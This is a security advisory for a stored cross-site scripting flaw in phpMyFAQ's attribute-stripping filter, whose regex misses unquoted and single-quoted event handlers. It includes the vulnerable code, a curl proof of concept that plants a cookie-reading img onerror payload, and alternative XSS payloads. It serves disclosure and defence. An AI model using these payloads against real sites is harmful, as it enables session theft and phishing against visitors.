Server side cross-site scripting In phpmyfaq/phpmyfaq

Description

phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()

Summary

The sanitization pipeline for FAQ content is:

    Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS) — encodes <, >, ", ', & to HTML entities

    html_entity_decode($input, ENT_QUOTES | ENT_HTML5) — decodes entities back to characters

    Filter::removeAttributes($input) — removes dangerous HTML attributes

The removeAttributes() regex at line 174 only matches attributes with double-quoted values:

preg_match_all(pattern: '/[a-z]+=".+"/iU', subject: $html, matches: $attributes);

This regex does NOT match:

    Attributes with single quotes: onerror='alert(1)'

    Attributes without quotes: onerror=alert(1)

An attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.

Details

Affected File: phpmyfaq/src/phpMyFAQ/Filter.php, line 174

Sanitization flow for FAQ question field:

FaqController::create() lines 110, 145-149:

$question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS);
// ...
->setQuestion(Filter::removeAttributes(html_entity_decode(
    (string) $question,
    ENT_QUOTES | ENT_HTML5,
    encoding: 'UTF-8',
)))

Template rendering: faq.twig line 36:

<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>

How the bypass works:

    Attacker submits: <img src=x onerror=alert(1)>

    After FILTER_SANITIZE_SPECIAL_CHARS: &lt;img src=x onerror=alert(1)&gt;

    After html_entity_decode(): <img src=x onerror=alert(1)>

    preg_match_all('/[a-z]+=".+"/iU', ...) runs:

      The regex requires ="..." (double quotes)

      onerror=alert(1) has NO quotes → NOT matched

      src=x has NO quotes → NOT matched

      No attributes are found for removal

    Output: <img src=x onerror=alert(1)> (XSS payload intact)

    Template renders with |raw: JavaScript executes in browser

Why double-quoted attributes are (partially) protected:

For <img src="x" onerror="alert(1)">:

    The regex matches both src="x" and onerror="alert(1)"

    src is in $keep → preserved

    onerror is NOT in $keep → removed via str_replace()

    Output: <img src="x"> (safe)

But this protection breaks with single quotes or no quotes.

PoC

Step 1: Create FAQ with XSS payload (requires authenticated admin):

curl -X POST 'https://target.example.com/admin/api/faq/create' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=admin_session' \
  -d '{
    "data": {
      "pmf-csrf-token": "valid_csrf_token",
      "question": "<img src=x onerror=alert(document.cookie)>",
      "answer": "Test answer",...

Step 2: XSS triggers on public FAQ page

Any user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:

https://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html

The FAQ title is rendered with |raw in faq.twig line 36 without HtmlSanitizer processing (the processQuestion() method in FaqDisplayService only applies search highlighting, not cleanUpContent()).

Alternative payloads:

<img/src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>

Impact

    Public XSS: The XSS executes for ALL users viewing the FAQ page, not just admins.

    Session hijacking: Steal session cookies of all users viewing the FAQ.

    Phishing: Display fake login forms to steal credentials.

    Worm propagation: Self-replicating XSS that creates new FAQs with the same payload.

    Malware distribution: Redirect users to malicious sites.

Note: While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Package
Affected version
Patched versions